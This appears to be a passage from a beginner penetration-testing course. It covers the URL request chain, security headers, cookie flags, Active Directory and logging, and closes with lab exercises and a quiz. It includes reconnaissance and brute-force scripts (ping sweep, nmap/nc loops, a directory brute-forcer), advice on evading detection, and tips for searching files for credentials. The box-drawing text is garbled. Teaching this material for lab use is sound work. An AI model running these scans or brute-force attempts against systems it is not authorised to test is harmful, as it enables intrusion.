βββββ SYN-ACK ββββββββββββββββββββββββββββββββββββββββββββββββ β
βββββ ACK ββββββββββββββββββββββββββββββββββββββββββββββββββββββΊβ
β β Attack: SYN flood, TCP reset, port scanning β
β β
β 3. TLS HANDSHAKE (if HTTPS) β
βββββ ClientHello (supported ciphers) βββββββββββββββββββββββββΊβ
βββββ ServerHello + Certificate ββββββββββββββββββββββββββββββ β
βββββ Key Exchange + Finished βββββββββββββββββββββββββββββββββΊβ
βββββ Finished βββββββββββββββββββββββββββββββββββββββββββββββ β
β β Attack: SSL stripping, MITM, downgrade attacks β
β β
β 4. HTTP REQUEST β
βββββ GET /dashboard HTTP/1.1 βββββββββββββββββββββββββββββββββΊβ
β Host: target.htb β
β Cookie: session=abc123 β
β β Attack: SQLi, XSS, SSRF, IDOR, command injection β
β β
β 5. SERVER PROCESSING β
β Route request β Auth check β Query DB β Build response β
β β Attack: Auth bypass, logic flaws, race conditions β
β β
β 6. HTTP RESPONSE β
βββββ HTTP/1.1 200 OK ββββββββββββββββββββββββββββββββββββββββ β
β Content-Type: text/html β
β Set-Cookie: session=xyz789 β
β <html>...</html> β
β β Attack: Header injection, cookie theft, info disclosure β
β β
β 7. BROWSER RENDERING β
β Parse HTML β Load CSS/JS β Execute scripts β Display β
β β Attack: XSS (reflected/stored/DOM), clickjacking β
β β
βΌ βΌ
π― Key insight: Every interview ever asks "what happens when you type a URL and press Enter?" Now you know β and you also know where attacks live at each step. DNS can be spoofed, TCP can be hijacked, TLS can be downgraded, HTTP requests can be injected, server logic can be abused, responses can leak info, and client-side rendering can execute attacker-controlled scripts.
# A typical HTTP request
GET /login HTTP/1.1
Host: target.htb
User-Agent: Mozilla/5.0
Cookie: session=abc123
Accept: text/html
# A typical HTTP response
HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html
Set-Cookie: session=xyz789
<html>...</html>
π‘ Pro tip: Always check response headers.Server: Apache/2.4.49tells you the exact version β and whether known CVEs apply.X-Powered-By: PHP/7.4.3reveals the backend technology.X-Debug-Tokenmight expose Symfony's profiler. These details guide your entire attack strategy.
Every time you type a URL and press Enter, a chain of events fires. Understanding this chain is critical because you'll attack different links in it:
YOUR BROWSER THE INTERNET TARGET SERVER
ββββββββββββ ββββββββββββ βββββββββββββ
β
β 1. DNS Lookup
βββββββββββββββββββββββββββΊ DNS Server
β "What IP is target.htb?"
βββββββββββββββββββββββββββ "It's 10.10.10.42"
β
β 2. TCP Three-Way Handshake
βββββ SYN βββββββββββββββββββββββββββββββββββββββββββββββββΊβ
βββββ SYN-ACK ββββββββββββββββββββββββββββββββββββββββββββ
βββββ ACK βββββββββββββββββββββββββββββββββββββββββββββββββΊβ
β β
β 3. TLS Handshake (if HTTPS) β
βββββ ClientHello (ciphers, TLS version) βββββββββββββββββΊβ
βββββ ServerHello + Certificate βββββββββββββββββββββββββββ
βββββ Key Exchange βββββββββββββββββββββββββββββββββββββββΊβ
βββββ Finished βββββββββββββββββββββββββββββββββββββββββββ
β [Encrypted tunnel established] β
β β
β 4. HTTP Request β
βββββ GET /login HTTP/1.1 ββββββββββββββββββββββββββββββββΊβ
β Host: target.htb β
β Cookie: session=abc123 β
β β
β 5. Server Processing β
β (routing β auth check β database query β template β
β rendering β response building) β
β β
β 6. HTTP Response β
βββββ HTTP/1.1 200 OK βββββββββββββββββββββββββββββββββββ
β Set-Cookie: session=xyz789 β
β <html>...</html> β
β β
β 7. Browser Rendering β
β (parse HTML β fetch CSS/JS/images β execute JS β β
β render page) β
βΌ
Where attacks happen in this chain:
When you intercept cookies in Burp Suite, check every flag. Missing flags = vulnerabilities:
document.cookie). If missing: XSS can steal the session cookie..example.com) let subdomains access the cookie β subdomain takeover becomes session hijacking./ (all paths).# Example cookie header to analyze:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
# Red flags in the wild:
Set-Cookie: admin_token=xyz789 # β No HttpOnly, no Secure, no SameSite
Set-Cookie: auth=secret; Domain=.example.com # β Broad domain, all subdomains get it
Set-Cookie: JSESSIONID=abc; Secure # β οΈ HttpOnly missing β XSS can steal it
Response headers tell browsers how to behave. Missing security headers are findings in every pentest report:
max-age=31536000; includeSubDomains means the browser won't even try HTTP for a year. Missing = SSL stripping attacks possible.DENY or SAMEORIGIN prevents clickjacking. Missing = clickjacking possible.nosniff. Prevents the browser from MIME-type guessing (which can turn uploaded .txt files into executable HTML). Always should be present.no-referrer or strict-origin prevents leaking URL paths (which might contain tokens or sensitive data).# Quickly check security headers with curl:
curl -sI https://target.htb | grep -iE "content-security|strict-transport|x-frame|x-content-type|referrer-policy|permissions-policy"
# Or use securityheaders.com for a visual report
# Missing headers = findings for your pentest report
Authorization header. Trivially decoded (not encrypted!).Authorization: Bearer <token> β usually a JWT or OAuth token.X-API-Key) or query parameter. Static, often shared, frequently leaked.Before you start breaking things, you need to understand what you're protecting (and what attackers target). These concepts come up in every interview, certification, and real engagement.
Every security discussion ultimately maps back to three properties:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE CIA TRIAD β
β β
β ββββββββββββββββββββββββ β
β β CONFIDENTIALITY β β
β β Only authorized β β
β β people can READ β β
β β the data β β
β βββββββββββ¬βββββββββββββ β
β β β
β ββββββββββββββΌβββββββββββββ β
β β β β
β βββββββββββ΄βββββββββββ ββββββββββββ΄ββββββββββββ β
β β INTEGRITY β β AVAILABILITY β β
β β Only authorized β β Data and systems β β
β β people can CHANGE β β are ACCESSIBLE when β β
β β the data β β needed β β
β ββββββββββββββββββββββ ββββββββββββββββββββββββ β
β β
β Attack examples: β
β C: Data breach, eavesdropping, credential theft β
β I: SQLi modifying data, file tampering, MITM β
β A: DDoS, ransomware, resource exhaustion β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Why this matters for pentesting: Every vulnerability you find maps to at least one of these. SQL injection that dumps user data? Confidentiality breach. XSS that modifies page content? Integrity violation. DoS vulnerability? Availability impact. When writing reports, classify findings by which CIA property they violate β it helps clients prioritize fixes.
Threat modeling means thinking like an attacker: "What's valuable here? How would I get to it? What stops me?"
π‘ Interview tip: "What's the CIA triad?" and "How do you prioritize findings?" are two of the most common security interview questions. Know these cold.
Most of the internet's servers run Linux, but most corporate networks run Windows with Active Directory. If you want to do internal pentesting (and you do β that's where the money is), you need to understand these concepts before Phase 5 digs deep into AD attacks.
Active Directory (AD) is Microsoft's directory service. Think of it as a massive database that stores everything about a corporate network: users, computers, groups, permissions, policies. When an employee logs into their work laptop, AD handles the authentication.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ACTIVE DIRECTORY OVERVIEW β
β β
β FOREST (top-level boundary) β
β βββ DOMAIN (e.g., corp.example.com) β
β βββ DOMAIN CONTROLLER (DC) β the server running AD β
β β βββ Stores all user accounts, passwords (hashes) β
β β βββ Handles authentication (Kerberos) β
β β βββ Enforces Group Policy (GPO) β
β β βββ DNS server (AD-integrated) β
β βββ USERS β
β β βββ Regular users β Domain Users group β
β β βββ Administrators β Domain Admins group β
β β βββ Service accounts β often overprivileged β
β βββ COMPUTERS β all domain-joined machines β
β βββ GROUPS β collections of users with shared permissions β
β βββ ORGANIZATIONAL UNITS (OUs) β folders for organizing β
β β
β Authentication protocols: β
β βββ Kerberos (default, ticket-based, port 88) β
β βββ NTLM (legacy, hash-based, fallback) β
β βββ LDAP (directory queries, port 389/636) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Key AD concepts you'll need:
π― Why AD matters: In real-world pentests, getting Domain Admin is usually the end goal. Almost every internal engagement involves AD in some way. Phase 5 covers AD attacks in detail β this section gives you the vocabulary to understand what those attacks actually target.
You can get surprisingly far with just manual commands, but eventually you'll need to automate things: parsing tool output, brute-forcing custom login forms, chaining multiple steps together. You don't need to be a software engineer β just comfortable enough to read and modify scripts.
#!/bin/bash
# Quick subnet scanner β ping every IP in a /24
# Usage: ./pingsweep.sh 10.10.10
if [ -z "$1" ]; then
echo "Usage: $0 <first 3 octets>"
echo "Example: $0 10.10.10"
exit 1
fi
for ip in $(seq 1 254); do
ping -c 1 -W 1 $1.$ip 2>/dev/null | grep "bytes from" | cut -d" " -f4 | tr -d ":" &
done
wait # Wait for all background pings to finish
# One-liners you'll use constantly
# Extract IPs from nmap output
grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' nmap_output.txt | sort -u
# Extract URLs from a file
grep -oP 'https?://[^\s"'"'"'<>]+' page.html | sort -u
# Loop through a list of hosts
while read host; do
echo "Scanning $host..."
nmap -sV -p 80,443 "$host" >> results.txt
done < hosts.txt
# Quick port check across multiple targets
for ip in $(cat targets.txt); do
nc -zv $ip 445 2>&1 | grep succeeded
done
#!/usr/bin/env python3
"""Simple directory brute-forcer β shows the concept"""
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://target"
wordlist = "/usr/share/seclists/Discovery/Web-Content/common.txt"
with open(wordlist) as f:
for word in f:
url = f"{target}/{word.strip()}"
try:
r = requests.get(url, timeout=3)
if r.status_code != 404:
print(f"[{r.status_code}] {url}")
except requests.exceptions.RequestException:
pass
# Python skills you'll need:
# 1. Reading/writing files
# 2. Making HTTP requests (requests library)
# 3. Parsing JSON responses
# 4. Socket programming basics (for custom exploits)
# 5. String manipulation (base64, hex encoding)
# 6. Modifying existing exploits from ExploitDB
# Install useful libraries in Kali
pip3 install requests pwntools
python3 -m pipx install impacket # pipx preferred for impacket
π‘ Real talk: You don't need to write tools from scratch. Most pentesters modify existing scripts. The skill is reading Python well enough to understand what an exploit does, change the target/payload, and debug when it doesn't work. Start by reading ExploitDB scripts and understanding each line.
Understanding how defenders see your attacks makes you a better attacker. If you know what gets logged, you can be stealthier. And if you ever move to blue team or purple team roles, this knowledge is essential.
/var/log/auth.log (SSH, sudo attempts), /var/log/syslog (system events), /var/log/apache2/access.log (web requests). Every failed SSH login you attempt gets logged here.Security.evtx (logon events, failed auth), System.evtx (service starts/stops), Application.evtx. Event ID 4625 = failed logon. Event ID 4624 = successful logon. These are what SOC analysts monitor.Get-Process sysmon* on Windows targets.# What defenders see when you scan with Nmap
# In /var/log/auth.log on the target:
Feb 8 12:00:01 target sshd[1234]: Connection from 10.10.14.5 port 54321
Feb 8 12:00:01 target sshd[1234]: Invalid user admin from 10.10.14.5
# What defenders see when you brute-force with Hydra
# Hundreds of failed logins in rapid succession:
Feb 8 12:00:02 target sshd[1235]: Failed password for admin from 10.10.14.5
Feb 8 12:00:02 target sshd[1236]: Failed password for admin from 10.10.14.5
Feb 8 12:00:02 target sshd[1237]: Failed password for admin from 10.10.14.5
# This is VERY obvious to any monitoring system
π― Why this matters now: Phase 6 (Blue Team) goes deep into defensive techniques. This introduction helps you understand that your attacks aren't invisible β they leave traces. On CTF boxes nobody's watching, but on real engagements, defenders are actively hunting for exactly the traffic patterns your tools generate.
http://httpbin.org), and identify the TCP handshake, HTTP request, and response. Find the SYN, SYN-ACK, ACK packets.dig to query A, MX, TXT, and NS records for any domain. Try a zone transfer against zonetransfer.me (it's intentionally vulnerable).echo -n "password123" | md5sum. Then crack it with hashcat or john.curl -v to make requests to different sites. Identify cookies, redirects, and server headers.overthewire.org/wargames/bandit/).arp -a on your machine and identify what each entry represents.jwt.io, paste a sample token, and understand the three sections. Try modifying the payload.Can you explain these without looking them up?
e99a18c428cb38d5f260853678922e03 (32 hex characters, no salt). What type of hash is this most likely?$2b$. Being able to identify hash types by format is a critical pentesting skill.$ "password" .
grep -r (or grep -ri for case-insensitive) searches recursively through all files in the given directory. The -r flag means recursive. In pentesting, you'll use this constantly to search for passwords, credentials, API keys, and other secrets in configuration files and source code.ping 10.10.10.42 and get no response. What should you do?nmap -Pn to skip host discovery and scan anyway. The -Pn flag tells Nmap to treat the host as alive regardless of ping responses. This is one of the most common beginner mistakes β giving up on a target just because it doesn't respond to ping.target.htb resolves to 10.10.10.42?/etc/hosts overrides DNS for specific hostnames. The standard approach: echo "10.10.10.42 target.htb" | sudo tee -a /etc/hosts. This is essential for HTB machines that use virtual hosting β the web server serves different content based on the hostname in the HTTP Host header.